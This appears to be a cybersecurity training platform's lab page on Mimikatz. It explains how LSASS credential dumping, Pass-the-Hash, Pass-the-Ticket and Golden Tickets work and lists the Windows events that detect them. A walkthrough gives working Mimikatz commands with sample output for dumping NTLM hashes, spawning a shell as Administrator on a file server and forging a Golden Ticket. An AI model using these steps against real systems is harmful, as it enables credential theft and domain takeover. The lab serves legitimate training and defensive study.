Back to Labs
available

Mimikatz

The legendary toolkit that rips credentials straight from Windows LSASS memory.

Official Source

Lab Overview

Mimikatz is the tool that fundamentally changed Windows post-exploitation. Written by Benjamin Delpy, it abuses the way the Local Security Authority Subsystem Service (LSASS) caches credentials in memory — extracting plaintext passwords, NTLM hashes, and Kerberos tickets from a live system. Beyond dumping, it weaponizes those secrets with Pass-the-Hash, Pass-the-Ticket, Over-Pass-the-Hash, and the infamous Golden Ticket. In this lab you'll harvest credentials from LSASS and move laterally without ever knowing a single plaintext password.

Learning Objectives

  • 1Dump plaintext credentials and NTLM hashes from LSASS memory
  • 2Execute a Pass-the-Hash attack to authenticate without a password
  • 3Forge a Golden Ticket from the krbtgt hash for persistent domain access
  • 4Extract and replay Kerberos tickets with Pass-the-Ticket

Ensure you have a stable VPN connection before launching. The instance will automatically terminate after the allotted duration or upon manual shutdown.

Why Choose This Tool?

Nothing else exposes the inner workings of Windows authentication like Mimikatz. It doesn't exploit a bug — it abuses the system working exactly as designed, reading the credential material LSASS must keep to support single sign-on. That conceptual clarity, plus the fact that it implements every major Kerberos and NTLM attack in one binary, makes it the definitive tool for understanding (and defending) AD credential theft.

Pros

  • •Implements the full credential-abuse arsenal: PtH, PtT, OverPtH, Golden/Silver tickets, DCSync
  • •Extracts plaintext, NTLM, and Kerberos material directly from live LSASS memory
  • •Open-source and continuously updated to track new Windows builds and protections
  • •Doubles as the canonical reference for how Windows SSO and Kerberos actually work

Cons

  • •The default signed binary is detected by virtually every AV/EDR on disk and in memory — Defender quarantines on write
  • •Reading LSASS triggers Sysmon Event ID 10 (process access, GrantedAccess 0x1010/0x1410) and Defender for Endpoint alerts
  • •Pass-the-Hash logons generate Event ID 4624 Logon Type 9 with NTLM — a classic SIEM detection
  • •Golden tickets with default 10-year lifetimes and RC4 encryption stand out against normal AES Kerberos traffic (Event ID 4769)

Installation

Mimikatz is flagged the moment it touches disk — only fetch it on an isolated lab host.

powershell
# Clone the source, or grab the precompiled x64 releasePS> git clone https://github.com/gentilkiwi/mimikatz.gitPS> Expand-Archive mimikatz_trunk.zip -DestinationPath C:\Tools\mimikatz # Run from an elevated (Administrator) promptPS> cd C:\Tools\mimikatz\x64PS> .\mimikatz.exe   .#####.   mimikatz 2.2.0 (x64) #19041 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) '#####'    > https://blog.gentilkiwi.com/mimikatzmimikatz #

You'll land at the mimikatz # prompt — every module below runs from there.

How to Use

Mission: You have SYSTEM on workstation 10.10.10.25 in corp.local. Objective: dump the local Administrator's NTLM hash and Pass-the-Hash to the file server win-fs01.corp.local — without ever cracking a password.

bash
# 1. Grab SeDebugPrivilege so we can read another process's memorymimikatz # privilege::debugPrivilege '20' OK # 2. Pull every cached credential straight out of LSASSmimikatz # sekurlsa::logonpasswordsAuthentication Id : 0 ; 996 (00000000:000003e4)User Name         : AdministratorDomain            : CORP* Username : Administrator* NTLM     : 64f12cddaa88057e06a81b54e73b949b[SUCCESS] NTLM hash recovered # 3. Pass-the-Hash: forge a token and spawn a shell as Administratormimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:64f12cddaa88057e06a81b54e73b949b /run:cmd.exeuser    : Administratordomain  : corp.localprogram : cmd.exe|  PID  4288[+] LSASS token forged — new cmd.exe running as CORP\Administrator # 4. From the spawned shell, hit the file server with the stolen identityC:\> dir \\win-fs01.corp.local\C$ Directory of \\win-fs01.corp.local\C$[SUCCESS] Authenticated to win-fs01 as CORP\Administrator

Got the krbtgt hash from a DCSync? Forge a Golden Ticket for unlimited domain persistence:

bash
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1004336348-1177238915-682003330 /krbtgt:5f4dcc3b5aa765d61d8327deb882cf99 /ptt[*] Building TGT for Administrator@corp.local[+] Golden ticket for 'Administrator @ corp.local' successfully submitted for current session

The /ptt flag injects the ticket straight into memory — no file is written to disk.